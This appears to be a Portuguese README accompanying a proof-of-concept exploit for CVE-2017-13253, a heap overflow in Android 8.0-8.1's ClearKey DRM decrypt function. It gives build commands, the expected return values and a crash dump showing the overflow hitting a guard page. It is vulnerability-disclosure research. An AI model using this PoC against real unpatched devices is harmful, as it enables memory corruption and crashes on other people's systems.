
Código PoC para CVE-2017-13253
Código de PoC para CVE-2017-13253.
O artigo completo está disponível aqui. Note que os números são um pouco diferentes dos do blogue, pois descobri que há uma probabilidade maior de ocorrer uma falha com uma heap de 0x2000 (claro que, se o executar vezes suficientes, deverá falhar na mesma).
Para perguntas/problemas/comentários, sinta-se à vontade para me contactar no Twitter (@tamir_zb).
Para compilar isto:
AOSP/external. cd AOSP
source build/envsetup.sh
make icrypto_overflow
Executar isto contra uma versão não corrigida do Android (8.0-8.1 anterior a março de 2018) deverá resultar num overflow. Isto poderá resultar numa falha, dependendo de os dados sobrescritos serem graváveis ou não.
O código deverá imprimir a saída do método decrypt, que pode variar:
decrypt deverá devolver BAD_VALUE (-22).decrypt deverá devolver a quantidade de dados que copiou.decrypt deverá devolver UNKNOWN_ERROR (-32).decrypt deverá devolver 0.Aqui está um dump de falha parcial resultante da execução deste PoC:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
Como pode ver, o endereço da falha é a memória logo a seguir à memória partilhada. Uma vez que esta memória está protegida contra escrita, o overflow resultou numa falha de segmentação.